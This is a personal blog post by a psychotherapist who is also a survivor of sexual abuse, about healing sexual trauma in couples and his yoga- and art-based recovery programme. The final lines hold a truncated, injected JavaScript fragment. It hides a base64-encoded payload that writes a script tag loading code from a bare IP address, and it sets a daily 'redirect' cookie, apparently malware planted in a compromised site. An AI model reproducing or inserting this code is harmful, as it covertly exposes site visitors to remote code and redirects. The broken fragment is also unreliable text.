I am a survivor of sexual trauma and I am a psychotherapist. I am in private practice with my wife and we often do couples counseling together. We’ve been married 35 years and know all about coping with sexual trauma in a relationship. Initially sexual contact can often appear to be spontaneous and satisfying. Both partners desire to please one another and will pretend to ignore the fear responses that relate to unresolved sexual trauma such as rape or incest. These traumas may or may not have been disclosed in the relationship but they can be sensed as fear responses during intimate contact. Couples tend to seriously misinterpret fear responses in themselves and in their partner. These fear responses don’t necessarily have to be related to sex. Sexually traumatized people can often become triggered by intimacy in general and become afraid when relationships become too safe and feel too close. Often the safer relationships can become intolerable to trauma survivors.
There are 3 basic rules to healing sexual trauma in couples:
1. Understanding.
2. Understanding.
3. Understanding.
It is hard to ask for understanding when your trust in relationships has been shattered by sexual trauma. It is hard to ask for understanding when your partner shuts down and you feel inadequate and blame yourself that your partner has been traumatized and has fear responses. This trauma cycle between partners shutting down and partners feeling self blame can often spin out of control and break viable loving relationships.
The key to maintaining a relationship long enough to heal from trauma is your ability not to blame yourself.
It is not your fault you are frightened by intimacy – this is a normal response to trauma.
It is not your fault that your partner is frightened by intimacy – this is a normal response to trauma.
These are simple ideas to read and remember but they are very difficult emotional ideas to live by.
We feel pain and we can get angry, sad and frightened. Sometimes it is easier and safer to shut down and numb pain. Sometimes it is easier to get angry and blame ourselves and other people. It is hard to accept and understand that pain is part of healing from trauma.
The initial goal in couples counseling is to understand how not to make things worse. By the time your relationship heals there will be enough love to stay together.
I am a psychotherapist and I work with clients who have been traumatized and have PTSD. I am also a survivor of sexual abuse and PTSD. For years I felt numb angry and frightened. I had nightmares about my abuse and scary memories from my past would flash in front of my eyes when I was awake. I searched for years to find a way to feel better. I was always frustrated with the limitations of talk therapy. I found that analyzing and understanding why I was traumatized didn’t really help me feel better. Analyzing and understanding the family and personal dynamics of trauma helped me stop re-enacting dysfunction in my relationships, but analysis didn’t teach me how to feel better. I still had nightmares. I still wan angry and frightened. I still had invasive thoughts. I became a therapist to find out how to feel better. I became a yoga teacher to find how to feel better. I became an artist to find out how to feel better.
While practicing yoga, during a brief meditation I saw how I could heal myself and heal other people.
Step 1. Psychotherapy – understanding the dynamics of your life.
Step 2. Speak, draw, write your story to organize it.
Step 3. Feel your story and soothe it in the body.
My vision is a self-healing, self-help therapy called The Anatomy of Emotional Healing.
In that vision I recognized that trauma disorganizes the mind body connection. To renew the mind body connection you need to learn how to feel safe in your body from the inside out.
I began teaching yoga from feeling – from the heart. I began to teach myself how to move emotionally – how to feel pleasure in emotion. At the same time I began to draw my story A Boy’s Story www.aboysstory.com and was able to organize my triggers and my trauma and teach my body to relax. Managing and soothing my emotional triggers became a physical skill like learning how to ride a bicycle.
I posted A Boy’s Story on the internet and people wrote me from around the world saying they had been traumatized too and they had survived like I had, but they wanted to know how to heal.
I began creating The Anatomy of Emotional Healing www.theanatomyofhealing.com to show them how to encounter and heal powerful emotion in the body.
I have been working on this for eight years. I had to teach myself computer graphics, film animation, photography and film editing to create this therapy.
Two weeks ago I put it all together into a site called www.thehealingcrossraods.com which shows people recovering from trauma how to reorganize relationships, reorganize emotions, and reorganize the mind body connection.
My personal experience in recovery has helped me learn how to help other people heal from trauma. I found that a blend of yoga breathing, meditation techniques, art therapy and classic psychoanalysis worked the best to heal trauma in myself and my clients. ..match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘